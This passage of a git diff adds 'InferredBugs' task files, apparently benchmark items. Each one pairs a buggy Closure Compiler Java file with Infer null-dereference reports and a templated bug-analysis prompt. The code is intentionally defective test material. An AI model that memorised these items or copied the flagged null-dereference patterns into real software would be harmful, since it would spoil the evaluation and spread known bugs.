+  /**
+   * Returns a list of types that are subtypes of this type. This is only valid
+   * for constructor functions, and may be null. This allows a downward
+   * traversal of the subtype graph.
+   */
+  public List<FunctionType> getSubTypes() {
+    return subTypes;
+  }
+
+  @Override
+  public boolean hasCachedValues() {
+    return prototype != null || super.hasCachedValues();
+  }
+
+  /**
+   * Gets the template type name.
+   */
+  public String getTemplateTypeName() {
+    return templateTypeName;
+  }
+
+  @Override
+  JSType resolveInternal(ErrorReporter t, StaticScope<JSType> scope) {
+    setResolvedTypeInternal(this);
+
+    call = (ArrowType) safeResolve(call, t, scope);
+    prototype = (FunctionPrototypeType) safeResolve(prototype, t, scope);
+
+    // Warning about typeOfThis if it doesn't resolve to an ObjectType
+    // is handled further upstream.
+    //
+    // TODO(nicksantos): Handle this correctly if we have a UnionType.
+    //
+    // TODO(nicksantos): In ES3, the runtime coerces "null" to the global
+    // activation object. In ES5, it leaves it as null. Just punt on this
+    // issue for now by coercing out null. This is complicated by the
+    // fact that when most people write @this {Foo}, they really don't
+    // mean "nullable Foo". For certain tags (like @extends) we de-nullify
+    // the name for them.
+    JSType maybeTypeOfThis = safeResolve(typeOfThis, t, scope);
+    if (maybeTypeOfThis != null) {
+      maybeTypeOfThis = maybeTypeOfThis.restrictByNotNullOrUndefined();
+    }
+    if (maybeTypeOfThis instanceof ObjectType) {
+      typeOfThis = (ObjectType) maybeTypeOfThis;
+    }
+
+    boolean changed = false;
+    ImmutableList.Builder<ObjectType> resolvedInterfaces =
+        ImmutableList.builder();
+    for (ObjectType iface : implementedInterfaces) {
+      ObjectType resolvedIface = (ObjectType) iface.resolve(t, scope);
+      resolvedInterfaces.add(resolvedIface);
+      changed |= (resolvedIface != iface);
+    }
+    if (changed) {
+      implementedInterfaces = resolvedInterfaces.build();
+    }
+
+    if (subTypes != null) {
+      for (int i = 0; i < subTypes.size(); i++) {
+        subTypes.set(i, (FunctionType) subTypes.get(i).resolve(t, scope));
+      }
+    }
+
+    return super.resolveInternal(t, scope);
+  }
+
+  @Override
+  public String toDebugHashCodeString() {
+    if (this == registry.getNativeType(JSTypeNative.FUNCTION_INSTANCE_TYPE)) {
+      return super.toDebugHashCodeString();
+    }
+
+    StringBuilder b = new StringBuilder(32);
+    b.append("function (");
+    int paramNum = call.parameters.getChildCount();
+    boolean hasKnownTypeOfThis = !typeOfThis.isUnknownType();
+    if (hasKnownTypeOfThis) {
+      b.append("this:");
+      b.append(getDebugHashCodeStringOf(typeOfThis));
+    }
+    if (paramNum > 0) {
+      if (hasKnownTypeOfThis) {
+        b.append(", ");
+      }
+      Node p = call.parameters.getFirstChild();
+      b.append(getDebugHashCodeStringOf(p.getJSType()));
+      p = p.getNext();
+      while (p != null) {
+        b.append(", ");
+        b.append(getDebugHashCodeStringOf(p.getJSType()));
+        p = p.getNext();
+      }
+    }
+    b.append(")");
+    b.append(": ");
+    b.append(getDebugHashCodeStringOf(call.returnType));
+    return b.toString();
+  }
+
+  private String getDebugHashCodeStringOf(JSType type) {
+    if (type == this) {
+      return "me";
+    } else {
+      return type.toDebugHashCodeString();
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getReferenceName(this)` could be null and is dereferenced at line 747.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean FunctionType.isEquivalentTo(JSType)
+
+### Procedure Id:
+com.google.javascript.rhino.jstype.FunctionType.isEquivalentTo(com.google.javascript.rhino.jstype.JS.942d38924094740181eadb2c7fee3e10
+
+### File:
+src/com/google/javascript/rhino/jstype/FunctionType.java
+
+### Key:
+FunctionType.java|isEquivalentTo|NULL_DEREFERENCE
+
+### Node Key:
+71bbd039293bbda847a7c7191bb8b301
+
+### Hash:
+5f6476c4f31f9021a213892c412df7f5
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5214/instruction.md b/inferredbugs-5214/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8a9a157de195c049f05c8e48acde3a387dfe769e
--- /dev/null
+++ b/inferredbugs-5214/instruction.md
@@ -0,0 +1,264 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** closure-compiler
+**Bug ID:** 23
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2009 The Closure Compiler Authors.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.google.javascript.jscomp;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.Sets;
+import com.google.javascript.rhino.Node;
+import com.google.javascript.rhino.Token;
+import com.google.javascript.rhino.jstype.FunctionType;
+import com.google.javascript.rhino.jstype.JSType;
+import com.google.javascript.rhino.jstype.ObjectType;
+
+import java.nio.charset.Charset;
+import java.util.Set;
+
+
+/**
+ * A code generator that outputs type annotations for functions and
+ * constructors.
+ */
+class TypedCodeGenerator extends CodeGenerator {
+  TypedCodeGenerator(CodeConsumer consumer, Charset outputCharset) {
+    super(consumer, outputCharset);
+  }
+
+  @Override
+  void add(Node n, Context context) {
+    Node parent = n.getParent();
+    if (parent != null
+        && (parent.getType() == Token.BLOCK
+            || parent.getType() == Token.SCRIPT)) {
+      if (n.getType() == Token.FUNCTION) {
+        add(getFunctionAnnotation(n));
+      } else if (n.getType() == Token.EXPR_RESULT
+          && n.getFirstChild().getType() == Token.ASSIGN) {
+        Node rhs = n.getFirstChild().getLastChild();
+        add(getTypeAnnotation(rhs));
+      } else if (n.getType() == Token.VAR
+          && n.getFirstChild().getFirstChild() != null
+          && n.getFirstChild().getFirstChild().getType() == Token.FUNCTION) {
+        add(getFunctionAnnotation(n.getFirstChild().getFirstChild()));
+      }
+    }
+
+    super.add(n, context);
+  }
+
+  private String getTypeAnnotation(Node node) {
+    JSType type = node.getJSType();
+    if (type == null) {
+      return "";
+    } else if (type.isFunctionType()) {
+      return getFunctionAnnotation(node);
+    } else if (!type.isUnknownType()
+        && !type.isEmptyType() && !type.isVoidType() &&
+        !type.isFunctionPrototypeType()) {
+      return "/** @type {" + node.getJSType() + "} */\n";
+    } else {
+      return "";
+    }
+  }
+
+  /**
+   * @param fnNode A node for a function for which to generate a type annotation
+   */
+  private String getFunctionAnnotation(Node fnNode) {
+    Preconditions.checkState(fnNode.getType() == Token.FUNCTION);
+    StringBuilder sb = new StringBuilder("/**\n");
+
+    JSType type = fnNode.getJSType();
+
+    if (type == null || type.isUnknownType()) {
+      return "";
+    }
+
+    FunctionType funType = type.toMaybeFunctionType();
+
+    // We need to use the child nodes of the function as the nodes for the
+    // parameters of the function type do not have the real parameter names.
+    // FUNCTION
+    //   NAME
+    //   LP
+    //     NAME param1
+    //     NAME param2
+    if (fnNode != null) {
+      Node paramNode = NodeUtil.getFunctionParameters(fnNode).getFirstChild();
+
+      // Param types
+      for (Node n : funType.getParameters()) {
+        // Bail out if the paramNode is not there.
+        if (paramNode == null) {
+          break;
+        }
+        sb.append(" * @param {" + getParameterNodeJSDocType(n) + "} ");
+        sb.append(paramNode.getString());
+        sb.append("\n");
+        paramNode = paramNode.getNext();
+      }
+    }
+
+    // Return type
+    JSType retType = funType.getReturnType();
+    if (retType != null && !retType.isUnknownType() && !retType.isEmptyType()) {
+      sb.append(" * @return {" + retType + "}\n");
+    }
+
+    // Constructor/interface
+    if (funType.isConstructor() || funType.isInterface()) {
+
+      FunctionType superConstructor = funType.getSuperClassConstructor();
+
+      if (superConstructor != null) {
+        ObjectType superInstance =
+          funType.getSuperClassConstructor().getInstanceType();
+        if (!superInstance.toString().equals("Object")) {
+          sb.append(" * @extends {"  + superInstance + "}\n");
+        }
+      }
+
+      if (funType.isInterface()) {
+        for (ObjectType interfaceType : funType.getExtendedInterfaces()) {
+          sb.append(" * @extends {" + interfaceType + "}\n");
+        }
+      }
+
+      // Avoid duplicates, add implemented type to a set first
+      Set<String> interfaces = Sets.newTreeSet();
+      for (ObjectType interfaze : funType.getImplementedInterfaces()) {
+        interfaces.add(interfaze.toString());
+      }
+      for (String interfaze : interfaces) {
+        sb.append(" * @implements {"  + interfaze + "}\n");
+      }
+
+      if (funType.isConstructor()) {
+        sb.append(" * @constructor\n");
+      } else if (funType.isInterface()) {
+        sb.append(" * @interface\n");
+      }
+    }
+
+    if (fnNode != null && fnNode.getBooleanProp(Node.IS_DISPATCHER)) {
+      sb.append(" * @javadispatch\n");
+    }
+
+    sb.append(" */\n");
+    return sb.toString();
+  }
+
+  /**
+   * Creates a JSDoc-suitable String representation the type of a parameter.
+   *
+   * @param parameterNode The parameter node.
+   */
+  private String getParameterNodeJSDocType(Node parameterNode) {
+    JSType parameterType = parameterNode.getJSType();
+    String typeString;
+
+    // Emit unknown types as '*' (AllType) since '?' (UnknownType) is not
+    // a valid JSDoc type.
+    if (parameterType.isUnknownType()) {
+      typeString = "*";
+    } else {
+      // Fix-up optional and vararg parameters to match JSDoc type language
+      if (parameterNode.isOptionalArg()) {
+        typeString = parameterType.restrictByNotNullOrUndefined() + "=";
+      } else if (parameterNode.isVarArgs()) {
+        typeString = "..." + parameterType.restrictByNotNullOrUndefined();
+      } else {
+        typeString = parameterType.toString();
+      }
+    }
+
+    return typeString;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `funType` last assigned on line 90 could be null and is dereferenced at line 103.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String TypedCodeGenerator.getFunctionAnnotation(Node)
+
+### Procedure Id:
+com.google.javascript.jscomp.TypedCodeGenerator.getFunctionAnnotation(com.google.javascript.rhino.No.9fae049ec66b50ecd386810556ae18eb
+
+### File:
+src/com/google/javascript/jscomp/TypedCodeGenerator.java
+
+### Key:
+TypedCodeGenerator.java|getFunctionAnnotation|NULL_DEREFERENCE
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+000130322fd9595dd838458133bd2ffa
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5215/instruction.md b/inferredbugs-5215/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8edd0187316c81f64495a61d304ecac47c6c71e8
--- /dev/null
+++ b/inferredbugs-5215/instruction.md
@@ -0,0 +1,185 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** closure-compiler
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2008 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.google.javascript.jscomp;
+
+import com.google.common.base.Predicate;
+import com.google.javascript.jscomp.ControlFlowGraph.Branch;
+import com.google.javascript.jscomp.NodeTraversal.ScopedCallback;
+import com.google.javascript.jscomp.graph.GraphNode;
+import com.google.javascript.jscomp.graph.GraphReachability;
+import com.google.javascript.jscomp.graph.GraphReachability.EdgeTuple;
+import com.google.javascript.rhino.Node;
+import com.google.javascript.rhino.Token;
+import com.google.javascript.rhino.jstype.TernaryValue;
+
+/**
+ * Use {@link ControlFlowGraph} and {@link GraphReachability} to inform user
+ * about unreachable code.
+ *
+*
+ */
+class CheckUnreachableCode implements ScopedCallback {
+
+  static final DiagnosticType UNREACHABLE_CODE = DiagnosticType.error(
+      "JSC_UNREACHABLE_CODE", "unreachable code");
+
+  private final AbstractCompiler compiler;
+  private final CheckLevel level;
+
+  CheckUnreachableCode(AbstractCompiler compiler, CheckLevel level) {
+    this.compiler = compiler;
+    this.level = level;
+  }
+
+  @Override
+  public void enterScope(NodeTraversal t) {
+    new GraphReachability<Node, ControlFlowGraph.Branch>(
+        t.getControlFlowGraph(), new ReachablePredicate()).compute(
+            t.getControlFlowGraph().getEntry().getValue());
+  }
+
+  @Override
+  public boolean shouldTraverse(NodeTraversal t, Node n, Node parent) {
+    GraphNode<Node, Branch> gNode = t.getControlFlowGraph().getNode(n);
+    if (gNode != null && gNode.getAnnotation() != GraphReachability.REACHABLE) {
+
+      // Only report error when there are some line number informations.
+      // There are synthetic nodes with no line number informations, nodes
+      // introduce by other passes (although not likely since this pass should
+      // be executed early) or some rhino bug.
+      if (n.getLineno() != -1 &&
+          // Allow spurious semi-colons and spurious breaks.
+          n.getType() != Token.EMPTY && n.getType() != Token.BREAK) {
+        compiler.report(t.makeError(n, level, UNREACHABLE_CODE));
+        // From now on, we are going to assume the user fixed the error and not
+        // give more warning related to code section reachable from this node.
+        new GraphReachability<Node, ControlFlowGraph.Branch>(
+            t.getControlFlowGraph()).recompute(n);
+
+        // Saves time by not traversing children.
+        return false;
+      }
+    }
+    return true;
+  }
+
+  @Override
+  public void exitScope(NodeTraversal t) {
+  }
+
+  @Override
+  public void visit(NodeTraversal t, Node n, Node parent) {
+  }
+
+  private final class ReachablePredicate implements
+      Predicate<EdgeTuple<Node, ControlFlowGraph.Branch>> {
+
+    @Override
+    public boolean apply(EdgeTuple<Node, Branch> input) {
+      Branch branch = input.edge;
+      if (!branch.isConditional()) {
+        return true;
+      }
+      Node predecessor = input.sourceNode;
+      Node condition = NodeUtil.getConditionExpression(predecessor);
+
+      // TODO(user): Handle more complicated expression like true == true,
+      // etc....
+      if (condition != null) {
+        TernaryValue val = NodeUtil.getBooleanValue(condition);
+        if (val != TernaryValue.UNKNOWN) {
+          return val.toBoolean(true) == (branch == Branch.ON_TRUE);
+        }
+      }
+      return true;
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `t.getControlFlowGraph()` could be null and is dereferenced at line 52.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CheckUnreachableCode.enterScope(NodeTraversal)
+
+### Procedure Id:
+com.google.javascript.jscomp.CheckUnreachableCode.enterScope(com.google.javascript.jscomp.NodeTraver.019bda2046ec4cc74887c00546e56050
+
+### File:
+src/com/google/javascript/jscomp/CheckUnreachableCode.java
+
+### Key:
+CheckUnreachableCode.java|enterScope|NULL_DEREFERENCE
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+65d32f7caf8fc143581f74c4b7d711d3
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5222/instruction.md b/inferredbugs-5222/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b638b0b59ab065dbb25a8e217647ade57424e166
--- /dev/null
+++ b/inferredbugs-5222/instruction.md
@@ -0,0 +1,489 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** closure-compiler
+**Bug ID:** 13
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2008 The Closure Compiler Authors.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.google.javascript.jscomp;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Sets;
+import com.google.javascript.jscomp.ControlFlowGraph.AbstractCfgNodeTraversalCallback;
+import com.google.javascript.jscomp.ControlFlowGraph.Branch;
+import com.google.javascript.jscomp.Scope.Var;
+import com.google.javascript.jscomp.graph.GraphNode;
+import com.google.javascript.rhino.Node;
+import com.google.javascript.rhino.Token;
+
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+
+import javax.annotation.Nullable;
+
+/**
+ * Computes reaching definition for all use of each variables.
+ *
+ * A definition of {@code A} in {@code A = foo()} is a reaching definition of
+ * the use of {@code A} in {@code alert(A)} if all paths from entry node must
+ * reaches that definition and it is the last definition before the use.
+ *
+ */
+final class MustBeReachingVariableDef extends
+    DataFlowAnalysis<Node, MustBeReachingVariableDef.MustDef> {
+
+  // The scope of the function that we are analyzing.
+  private final Scope jsScope;
+  private final AbstractCompiler compiler;
+  private final Set<Var> escaped;
+
+  MustBeReachingVariableDef(
+      ControlFlowGraph<Node> cfg, Scope jsScope, AbstractCompiler compiler) {
+    super(cfg, new MustDefJoin());
+    this.jsScope = jsScope;
+    this.compiler = compiler;
+    this.escaped = Sets.newHashSet();
+    computeEscaped(jsScope, escaped, compiler);
+  }
+
+  /**
+   * Abstraction of a local variable definition. It represents the node which
+   * a local variable is defined as well as a set of other local variables that
+   * this definition reads from. For example N: a = b + foo.bar(c). The
+   * definition node will be N, the depending set would be {b,c}.
+   */
+  private static class Definition {
+    final Node node;
+    final Set<Var> depends = Sets.newHashSet();
+    Definition(Node node) {
+      this.node = node;
+    }
+
+    @Override
+    public boolean equals(Object other) {
+      if (!(other instanceof Definition)) {
+        return false;
+      }
+      Definition otherDef = (Definition) other;
+      // If the var has the same definition node we can assume they have the
+      // same depends set.
+      return otherDef.node == node;
+    }
+  }
+
+  /**
+   * Must reaching definition lattice representation. It captures a product
+   * lattice for each local (non-escaped) variable. The sub-lattice is
+   * a n + 2 element lattice with all the {@link Definition} in the program,
+   * TOP and BOTTOM.
+   *
+   * <p>Since this is a Must-Define analysis, BOTTOM represents the case where
+   * there might be more than one reaching definition for the variable.
+   *
+   *
+   *           (TOP)
+   *       /   |   |      \
+   *     N1    N2  N3 ....Nn
+   *      \    |   |      /
+   *          (BOTTOM)
+   *
+   */
+  static final class MustDef implements LatticeElement {
+
+    // TODO(user): Use bit vector instead of maps might get better
+    // performance. Change it after this is tested to be fully functional.
+
+    // When a Var "A" = "TOP", "A" does not exist in reachingDef's keySet.
+    // When a Var "A" = Node N, "A" maps to that node.
+    // When a Var "A" = "BOTTOM", "A" maps to null.
+    final Map<Var, Definition> reachingDef;
+
+    public MustDef() {
+      reachingDef = Maps.newHashMap();
+    }
+
+    public MustDef(Iterator<Var> vars) {
+      this();
+      while(vars.hasNext()) {
+        Var var = vars.next();
+        // Every variable in the scope is defined once in the beginning of the
+        // function: all the declared variables are undefined, all functions
+        // have been assigned and all arguments has its value from the caller.
+        reachingDef.put(var, new Definition(var.scope.getRootNode()));
+      }
+    }
+
+    /**
+     * Copy constructor.
+     *
+     * @param other The constructed object is a replicated copy of this element.
+     */
+    public MustDef(MustDef other) {
+      reachingDef = Maps.newHashMap(other.reachingDef);
+    }
+
+    @Override
+    public boolean equals(Object other) {
+      return (other instanceof MustDef) &&
+          ((MustDef) other).reachingDef.equals(this.reachingDef);
+    }
+  }
+
+  private static class MustDefJoin extends JoinOp.BinaryJoinOp<MustDef> {
+    @Override
+    public MustDef apply(MustDef a, MustDef b) {
+      MustDef result = new MustDef();
+      Map<Var, Definition> resultMap = result.reachingDef;
+
+      // Take the join of all variables that are not TOP in this.
+      for (Var var : a.reachingDef.keySet()) {
+
+        Definition aDef = a.reachingDef.get(var);
+
+        if (aDef == null) {
+          // "a" is BOTTOM implies that the variable has more than one possible
+          // definition. We set the join of this to be BOTTOM regardless of what
+          // "b" might be.
+          resultMap.put(var, null);
+          continue;
+        }
+
+        Node aNode = aDef.node;
+
+        if (b.reachingDef.containsKey(var)) {
+          Definition bDef = b.reachingDef.get(var);
+
+          if (aDef.equals(bDef)) {
+            resultMap.put(var, aDef);
+          } else {
+            resultMap.put(var, null);
+          }
+        } else {
+          resultMap.put(var, aDef);
+        }
+      }
+
+      // Take the join of all variables that are not TOP in other but it is TOP
+      // in this.
+      for (Var var : b.reachingDef.keySet()) {
+        if (!a.reachingDef.containsKey(var)) {
+          resultMap.put(var, b.reachingDef.get(var));
+        }
+      }
+      return result;
+    }
+  }
+
+  @Override
+  boolean isForward() {
+    return true;
+  }
+
+  @Override
+  MustDef createEntryLattice() {
+    return new MustDef(jsScope.getVars());
+  }
+
+  @Override
+  MustDef createInitialEstimateLattice() {
+    return new MustDef();
+  }
+
+  @Override
+  MustDef flowThrough(Node n, MustDef input) {
+    // TODO(user): We are doing a straight copy from input to output. There
+    // might be some opportunities to cut down overhead.
+    MustDef output = new MustDef(input);
+    // TODO(user): This must know about ON_EX edges but it should handle
+    // it better than what we did in liveness. Because we are in a forward mode,
+    // we can used the branched forward analysis.
+    computeMustDef(n, n, output, false);
+    return output;
+  }
+
+  /**
+   * @param n The node in question.
+   * @param cfgNode The node to add
+   * @param conditional true if the definition is not always executed.
+   */
+  private void computeMustDef(
+      Node n, Node cfgNode, MustDef output, boolean conditional) {
+    switch (n.getType()) {
+
+      case Token.BLOCK:
+      case Token.FUNCTION:
+        return;
+
+      case Token.WHILE:
+      case Token.DO:
+      case Token.IF:
+        computeMustDef(
+            NodeUtil.getConditionExpression(n), cfgNode, output, conditional);
+        return;
+
+      case Token.FOR:
+        if (!NodeUtil.isForIn(n)) {
+          computeMustDef(
+              NodeUtil.getConditionExpression(n), cfgNode, output, conditional);
+        } else {
+          // for(x in y) {...}
+          Node lhs = n.getFirstChild();
+          Node rhs = lhs.getNext();
+          if (NodeUtil.isVar(lhs)) {
+            lhs = lhs.getLastChild(); // for(var x in y) {...}
+          }
+          if (NodeUtil.isName(lhs)) {
+            addToDefIfLocal(lhs.getString(), cfgNode, rhs, output);
+          }
+        }
+        return;
+
+      case Token.AND:
+      case Token.OR:
+        computeMustDef(n.getFirstChild(), cfgNode, output, conditional);
+        computeMustDef(n.getLastChild(), cfgNode, output, true);
+        return;
+
+      case Token.HOOK:
+        computeMustDef(n.getFirstChild(), cfgNode, output, conditional);
+        computeMustDef(n.getFirstChild().getNext(), cfgNode, output, true);
+        computeMustDef(n.getLastChild(), cfgNode, output, true);
+        return;
+
+      case Token.VAR:
+        for (Node c = n.getFirstChild(); c != null; c = c.getNext()) {
+          if (c.hasChildren()) {
+            computeMustDef(c.getFirstChild(), cfgNode, output, conditional);
+            addToDefIfLocal(c.getString(), conditional ? null : cfgNode,
+                c.getFirstChild(), output);
+          }
+        }
+        return;
+
+      default:
+        if (NodeUtil.isAssignmentOp(n)) {
+          if (NodeUtil.isName(n.getFirstChild())) {
+            Node name = n.getFirstChild();
+            computeMustDef(name.getNext(), cfgNode, output, conditional);
+            addToDefIfLocal(name.getString(), conditional ? null : cfgNode,
+              n.getLastChild(), output);
+            return;
+          } else if (NodeUtil.isGet(n.getFirstChild())) {
+            // Treat all assignments to arguments as redefining the
+            // parameters itself.
+            Node obj = n.getFirstChild().getFirstChild();
+            if (NodeUtil.isName(obj) && "arguments".equals(obj.getString())) {
+              // TODO(user): More accuracy can be introduced
+              // ie: We know exactly what arguments[x] is if x is a constant
+              // number.
+              escapeParameters(output);
+            }
+          }
+        }
+
+        if (NodeUtil.isName(n) && "arguments".equals(n.getString())) {
+          escapeParameters(output);
+        }
+
+        // DEC and INC actually defines the variable.
+        if (n.getType() == Token.DEC || n.getType() == Token.INC) {
+          Node target = n.getFirstChild();
+          if (NodeUtil.isName(target)) {
+            addToDefIfLocal(target.getString(),
+                conditional ? null : cfgNode, null, output);
+            return;
+          }
+        }
+
+        for (Node c = n.getFirstChild(); c != null; c = c.getNext()) {
+          computeMustDef(c, cfgNode, output, conditional);
+        }
+    }
+  }
+
+  /**
+   * Set the variable lattice for the given name to the node value in the def
+   * lattice. Do nothing if the variable name is one of the escaped variable.
+   *
+   * @param node The CFG node where the definition should be record to.
+   *     {@code null} if this is a conditional define.
+   */
+  private void addToDefIfLocal( String name, @Nullable Node node,
+      @Nullable Node rValue, MustDef def) {
+    Var var = jsScope.getVar(name);
+
+    // var might be null because the variable might be defined in the extern
+    // that we might not traverse.
+    if (var == null || var.scope != jsScope) {
+      return;
+    }
+
+    for (Var other : def.reachingDef.keySet()) {
+      Definition otherDef = def.reachingDef.get(other);
+      if (otherDef == null) {
+        continue;
+      }
+      if (otherDef.depends.contains(var)) {
+        def.reachingDef.put(other, null);
+      }
+    }
+
+    if (!escaped.contains(var)) {
+      if (node == null) {
+        def.reachingDef.put(var, null);
+      } else {
+        Definition definition = new Definition(node);
+        if (rValue != null) {
+          computeDependence(definition, rValue);
+        }
+        def.reachingDef.put(var, definition);
+      }
+    }
+  }
+
+  private void escapeParameters(MustDef output) {
+    for (Iterator<Var> i = jsScope.getVars(); i.hasNext();) {
+      Var v = i.next();
+      if (v.getParentNode().getType() == Token.LP) {
+        // Assume we no longer know where the parameter comes from
+        // anymore.
+        output.reachingDef.put(v, null);
+      }
+    }
+  }
+
+  /**
+   * Computes all the local variables that rValue reads from and store that
+   * in the def's depends set.
+   */
+  private void computeDependence(final Definition def, Node rValue) {
+    NodeTraversal.traverse(compiler, rValue,
+        new AbstractCfgNodeTraversalCallback() {
+      @Override
+      public void visit(NodeTraversal t, Node n, Node parent) {
+        if (NodeUtil.isName(n) && jsScope.isDeclared(n.getString(), true)) {
+          def.depends.add(jsScope.getVar(n.getString()));
+        }
+      }
+    });
+  }
+
+  /**
+   * Gets the must reaching definition of a given node. The node must be one of
+   * the control flow graph nodes.
+   *
+   * @param name name of the variable. It can only be names of local variable
+   *     that are not function parameters, escaped variables or variables
+   *     declared in catch.
+   * @param useNode the location of the use where the definition reaches.
+   */
+  Node getDef(String name, Node useNode) {
+    Preconditions.checkArgument(getCfg().hasNode(useNode));
+    GraphNode<Node, Branch> n = getCfg().getNode(useNode);
+    FlowState<MustDef> state = n.getAnnotation();
+    Definition def = state.getIn().reachingDef.get(jsScope.getVar(name));
+    if (def == null) {
+      return null;
+    } else {
+      return def.node;
+    }
+  }
+
+  boolean dependsOnOuterScopeVars(String name, Node useNode) {
+    Preconditions.checkArgument(getCfg().hasNode(useNode));
+    GraphNode<Node, Branch> n = getCfg().getNode(useNode);
+    FlowState<MustDef> state = n.getAnnotation();
+    Definition def = state.getIn().reachingDef.get(jsScope.getVar(name));
+    for (Var s : def.depends) {
+      if (s.scope != jsScope) {
+        return true;
+      }
+    }
+    return false;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `v.getParentNode()` could be null and is dereferenced at line 358.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void MustBeReachingVariableDef.escapeParameters(MustBeReachingVariableDef$MustDef)
+
+### Procedure Id:
+com.google.javascript.jscomp.MustBeReachingVariableDef.escapeParameters(com.google.javascript.jscomp.b2261310f421a2c11bf59c8287b38a73
+
+### File:
+src/com/google/javascript/jscomp/MustBeReachingVariableDef.java
+
+### Key:
+MustBeReachingVariableDef.java|escapeParameters|NULL_DEREFERENCE
+
+### Node Key:
+00c1f65e387d55c612515ace03b6e05b
+
+### Hash:
+2a4ee6d3e5c7b443fc7a98f051ccd193
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
